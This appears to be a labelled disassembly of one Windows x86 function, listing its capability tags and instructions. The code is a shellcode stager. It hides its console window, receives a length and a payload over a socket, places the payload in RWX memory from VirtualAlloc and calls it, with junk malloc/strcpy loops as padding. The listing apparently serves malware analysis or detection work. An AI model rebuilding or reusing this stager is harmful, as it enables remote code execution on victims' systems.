Function at 0x401986
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Hide graphical window
Receive data
Receive data on socket

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push ecx
mov eax, 0xe5f4
call fcn.00402b60
sub esp, eax
call dbg.__main
mov eax, dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
call eax
mov dword [esp + 4], 0
mov dword [esp], eax
mov eax, dword [sym.imp.USER32.dll_ShowWindow]
call eax
sub esp, 8
mov dword [ebp - 0xc], 0
jmp 0x4019e6
mov dword [esp], 0x2447
call sym._malloc
mov edx, eax
mov eax, dword [ebp - 0xc]
mov dword [ebp + eax*4 - 0x8020], edx
add dword [ebp - 0xc], 1
cmp dword [ebp - 0xc], 0x2000
jle 0x4019ca
call sym._ZUnOfzeQ
call sym._MdKmUbHgdQ
mov dword [ebp - 0xc5c4], eax
mov dword [ebp - 0xc], 0
jmp 0x401a24
mov dword [esp], 0x2392
call sym._malloc
mov edx, eax
mov eax, dword [ebp - 0xc]
mov dword [ebp + eax*4 - 0xc5c0], edx
add dword [ebp - 0xc], 1
cmp dword [ebp - 0xc], 0x1167
jle 0x401a08
mov eax, dword [ebp - 0xc5c4]
mov dword [esp + 0xc], 0
mov dword [esp + 8], 4
lea edx, [ebp - 0x1c]
mov dword [esp + 4], edx
mov dword [esp], eax
mov eax, dword [sym.imp.WSOCK32.DLL_recv]
call eax
sub esp, 0x10
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 4
jne 0x401a67
mov eax, dword [ebp - 0x1c]
test eax, eax
jne 0x401a75
mov eax, dword [ebp - 0xc5c4]
mov dword [esp], eax
call sym._yOxwPUd
mov eax, dword [ebp - 0x1c]
add eax, 5
mov dword [esp + 0xc], 0x40
mov dword [esp + 8], 0x1000
mov dword [esp + 4], eax
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
call eax
sub esp, 0x10
mov dword [ebp - 0x14], eax
mov dword [ebp - 0xc], 0
jmp 0x401acb
call sym._lQuCOUUPn
mov edx, dword [ebp - 0xc]
mov edx, dword [ebp + edx*4 - 0x8020]
mov dword [esp + 4], eax
mov dword [esp], edx
call sym._strcpy
add dword [ebp - 0xc], 1
cmp dword [ebp - 0xc], 0x2000
jle 0x401aac
cmp dword [ebp - 0x14], 0
jne 0x401ae8
mov eax, dword [ebp - 0xc5c4]
mov dword [esp], eax
call sym._yOxwPUd
mov eax, dword [ebp - 0x14]
mov byte [eax], 0xbf
mov eax, dword [ebp - 0x14]
lea edx, [eax + 1]
mov eax, dword [ebp - 0xc5c4]
mov dword [edx], eax
mov dword [ebp - 0xc], 0
jmp 0x401b21
mov dword [esp], 0x2582
call sym._malloc
mov edx, eax
mov eax, dword [ebp - 0xc]
mov dword [ebp + eax*4 - 0xe5e0], edx
add dword [ebp - 0xc], 1
cmp dword [ebp - 0xc], 0x806
jle 0x401b05
mov dword [ebp - 0xc], 0
jmp 0x401b52
call sym._eQqAKUtmVPYNoCl
mov edx, dword [ebp - 0xc]
mov edx, dword [ebp + edx*4 - 0xc5c0]
mov dword [esp + 4], eax
mov dword [esp], edx
call sym._strcpy
add dword [ebp - 0xc], 1
cmp dword [ebp - 0xc], 0x1167
jle 0x401b33
mov eax, dword [ebp - 0x1c]
mov ecx, eax
mov eax, dword [ebp - 0x14]
lea edx, [eax + 5]
mov eax, dword [ebp - 0xc5c4]
mov dword [esp + 8], ecx
mov dword [esp + 4], edx
mov dword [esp], eax
call sym._FsXcJPdVMLUH
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
call eax
mov dword [ebp - 0xc], 0
jmp 0x401bb2
call sym._vkFkJBaqZCsBl
mov edx, dword [ebp - 0xc]
mov edx, dword [ebp + edx*4 - 0xe5e0]
mov dword [esp + 4], eax
mov dword [esp], edx
call sym._strcpy
add dword [ebp - 0xc], 1
cmp dword [ebp - 0xc], 0x806
jle 0x401b93
mov eax, 0
mov ecx, dword [ebp - 4]
leave
lea esp, [ecx - 4]
ret